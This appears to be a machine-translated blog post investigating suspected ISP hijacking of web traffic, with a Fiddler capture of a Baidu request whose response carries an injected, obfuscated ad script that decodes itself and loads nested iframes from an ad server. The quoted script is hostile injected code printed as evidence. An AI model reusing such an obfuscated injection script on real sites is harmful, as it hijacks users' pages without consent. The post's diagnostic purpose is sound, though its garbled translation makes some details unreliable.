Unicom DNS hijacking

when I access the webpage these two days, there are always advertisements from time to time. After eliminating the possibility of computer poisoning, I suspect that DNS is hijacked .. Enable Fiddler. Then continue to the Internet, in a open http://www.baidu.com, the page in the lower right corner of the pop-up ads, so immediately open Fiddler, view HTTP Communication:

Get http://www.baidu.com/HTTP/1.1 HOST: www. baidu. comconnection: Keep-aliveuser-AGENT: Mozilla/5.0 (Windows NT 5.1) applewebkit/535.1 (khtml, like gecko) Chrome/14.0.835.186 Safari/535.1 accept: text/html, application/XHTML + XML, application/XML; q = 0.9, */*; q = 0.8accept-encoding: gzip, deflate, sdchaccept-language: ZH-CN, ZH; Q = 0.8accept-charset: GBK, UTF-8; q = 0.7, *; q = 0.3 COOKIE: baidututuid = oldbaidutuiduser; Baidstuurl = oldbaidutuiduser; NLC = 0; bandwidth = 1315812373419; userid = disabled; baidu_wise_uid = wiaui_1317086444_8009; mcity =-% 3A; vjuids = 41ae5cbea. 132d20f63e1. 0.9bastmad; vjlast = 1317784217,1317784217, 30; baiduid = Protocol: fg = 1 HTTP/1.1 200 okcontent-type: text/htmlcache-control: No-cacheexpires: epochcharset = gb2312: content-Length: 10 57 connection: Close <SCRIPT> var d = "= iunm? = Ifbe? = Tdsjqu! Uzqf> # ufyu0kbwbtdsjqu #? Gvodujpo! Mpbebuusjcvuf) * | WBS! G> epdvnfou/hfufmfnfouczje) # G # * <WBS! Tfswfs> # iuuq; 0072/293/283/7; 33161 # <WBS! Sfrvjsfe> # beje> 311169 'uddb> d3q7zxrxnun3nuf2ofci [Iot 'vsjq> 2117776366 'psmv> latency> 'tqje> 46394886: 4 'bsfb> 3 'ut> 2429366336 # <JG) tfmg/epdvnfou/mpdbujpo> xjoepx/epdvnfou/VSM! ''! Epdvnfou/cpez/dmjfouxjeui?> 611! ''! Epdvnfou/cpez/dmjfouifjhiu?> 611 * | G/TSD> tfswfs, # 0b0t @ g> betuzmf 'nto/IU "; function I (_ ,__) {_ + =__; var $ = ""; for (VAR u = 0; U <_. length; U ++) {var r = _. charcodeat (U); $ + = string. fromcharcode (r-1);} return $;} var c = "nm '#, sfrvjsfe, # 'psmv> Listen [Listen [xi1cxxwchm3 [UB {nugv [ye {comment> 'q2bsn> 100' q3bsn> 299 'q4bsn> 31 'q5bsn> 6' q6bsn> 4' q7bsn> 2 'bqqe> 1' ibtdpvou> 2' ibtxijufvtfs> 2 # <~ Fmtf | G/TSD> tfswfs, # 0b0q @ #, sfrvjsfe, # 'qvtigmbh> 1 # <~~ = 0 tdsjqu? = 0 ifbe? = Cpez! Pompbe> # mpbebuusjcvuf )*#! Sjhiunbshjo> 1! Upqnbshjo> 1! Mfgunbshjo> 1! Tdspmm> op? = Jgsbnf! Je> # G #! Gsbnfcpsefs> 1! Xjeui> 211 &! Ifjhiu> 211 &! Tdspmmjoh> bvup! TSD> ##? = 0 jgsbnf? = 0 cpez? = 0 iunm? "; Document. Write (I (D, C); </SCRIPT>

Then review the HTML Dom structure:

We can see that there is a total of three layers of IFRAME, first use is to use the encrypted script to generate page A, and then load the ad management page B, in this page B, generate IFRAME to load "http://www.baidu.com? T = 1318255266413 "Baidu page.

Now the data that can be learned from the network layer is changed, and the DNS hijacking of China Unicom is not conclusive evidence.